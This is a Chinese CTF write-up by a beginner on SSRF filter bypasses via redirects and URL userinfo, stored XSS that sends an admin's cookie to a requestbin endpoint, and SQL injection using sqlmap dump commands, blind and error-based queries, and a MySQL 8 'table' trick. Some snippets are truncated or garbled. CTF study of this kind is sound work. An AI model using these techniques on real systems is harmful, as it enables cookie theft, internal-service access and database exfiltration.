小白的CTF初体验,感谢海大佬的耐心指导!
题型包括SQL注入、SSRF、XSS、权限绕过、信息泄漏、安卓。字节出的大部分题型都包含多道题,题目的难度也是由浅入深的。比如SQL注入,你可以看到第一道题的golang源码,直接就可以看到gorm是如何拼接字符串的,接下来的几道题目会逐渐减少对参赛者暴露的信息。
优秀工具介绍:
- burp 作为proxy抓包,把请求配知道repeater,可以任意修改请求参数来测试
- sqlmap sql注入解题利器
- requestbin.com 随意生成bin,可以接收测试请求
- cloudflare worker 快速创建测试服务
SSRF
我们想要拿到的flag就在 127.0.0.1:8080/flag,而服务端限制直接访问 127.0.0.1,猜测可能是限制输入地址包含 127(包括限制host是 127.0.0.1),或者限制host可以解析到 127,或者更夸张一些限制Follow,禁止 301/302 到 127。基于此猜想,可以做以下尝试:
(1)直接在host中写 127,那肯定是被毙掉的
(2)找一个域名,这个域名是解析到 127 的,但是提交之后被毙掉了,这就证明了服务端会同时禁掉输入地址包含 127 和 域名可以解析到 127
(3)尝试看是否可以 301/302 到 127,这时候可以使用自己的域名对外提供服务,当接收到请求时,会返回 302/301,同时设置 Location 是 127.0.0.1:8080/flag ,最好修改下 XFF 为 127.0.0.1 。这时候服务端校验通过,可以正常拿到 flag 啦。这里采用的解决办法是:使用 cloudflare 的 workers 来实现这个需求这个 worker 可以理解为普通的云函数,可以随意创建修改发布
稍微拓展思考下,如果 Follow 被 ban 了呢?有一个比较 tricky 的解决办法,继续使用 cloudflare 的 worker ,但是这里不是无脑 30x 到 127,而是概率性 30x 到 127,这样就就有概率不会被服务端 ban 掉,这时候可以再修改为必定 30x 即可
服务端输入只允许某个域名(根本就不存在)
需要想写服务的人会怎么处理输入的url(如果用库的话根本不会有漏洞),考虑到url的标准定义: 协议 + :// + 用户名:密码@域名:端口/路径?query,所以我们可以把用户名写成要求的域名尝试。果然可以!
XSS
原题有三道,并且是循序渐进的。
第一道是提交留言,然后提交留言id给admin审核,这个时候不会限制输入内容,所以可以直接写js脚本,管理员查看输入内容的时候,就可以拿到它的document.cookie了,可以通过
1 | <img src=x onerror=<requestbin.com>> |
把document.cookie塞到query里就可以了。
这里介绍下requestbin,可以快速创建bin,接收任意请求。
第二道也是提交留言,但是限制留言内容里写js关键字,但是发现页面右上角有户名旁边多了个头像,点击之后发现可以上传头像。通过burp抓到上传头像的请求,发现对头像的限制仅仅是针对头像扩展名,只限制了部分扩展名不能上传,很多乱七八糟的扩展名(比如*.adafd)是可以上传的。所以同上一题,我们可以把文件内容写成同样的内容,这样就成功拿到flag啦
第三道没做出来,还是要多思考
SQL注入
SQL注入的四道题也是剩了一道,第一道题是直接提供了源码给参赛者看,第二道题告诉你有个必定存在的用户名,第三道题在query告诉你query里有哪些可以利用的参数。
先介绍下sqlmap,可以解决大部分SQL注入的题,如下所示
1 | python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag -C flag |
我们也可以用循序渐进的方式,观察数据库的情况
1 | python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --tables |
第一道题:直接告诉了源码是什么,注入点在order by,可以通过时间盲注的方式猜测数据库的表结构和表内容。如果满足if的条件,就会sleep2秒,这时候就会导致请求超时进入exception,这时候我们可以认为某个字符命中了j的ascii码。注意括号的位置,特别是在mid里,select语句需要加上括号
1 | import requests |
第二道题:已经提示id是注入点,并且有回显报错,可以使用updatexml的特性拿到想要的信息
经过测试发现报错提示里有个不匹配的又括号,于是猜测语句可能是这个样子的
1 | select * from news where id=(...) |
左边括号之后是可以注入的部分,所以我们可以考虑闭合括号
1 | select * from news where id=(1) ... -- |
接着就可以用updatexml了
1 | // 拿到所有的表名 |
第三道题:告诉你有个admin用户存在,通过burp抓包发现接口是这样的
1 | POST /get |
于是尝试以下几种请求猜测可能的sql语句
admin' --发现返回no user find,说明不能无脑注释后面的数据,可能有其他没有闭合的括号admin' and '1,返回find useradmin') --正常返回find user,说明确实有没有闭合的括号
剩下就可以按照第二道题来了
第四道题:发现输入id=1和id=2-1的结果是一样的,说明id是注入点,并且查询可以看到id=1的数据。但是当想要通过union select做一些尝试时,提示非法输入字符,最终发现select被禁止了。这时候就应该知道mysql的版本应该是8.x的,不然select被禁止基本无法跨表查询了
- 通过
ascii(mid(database(),{},1))={}拿到database的名称(其实不拿也没关系,应为database拿到作用也不大) - 查看当前database有哪些表
1 | def get_table_name(): |
- 一般情况下flag表只有一个column,我们可以这样测试下
1) and ('')<(table fflll444g limit 0,1,正确返回,所以我们确定flag只有一个column - 通过布尔盲注拿到flag,或者通过union values row(1, (table fflll444g))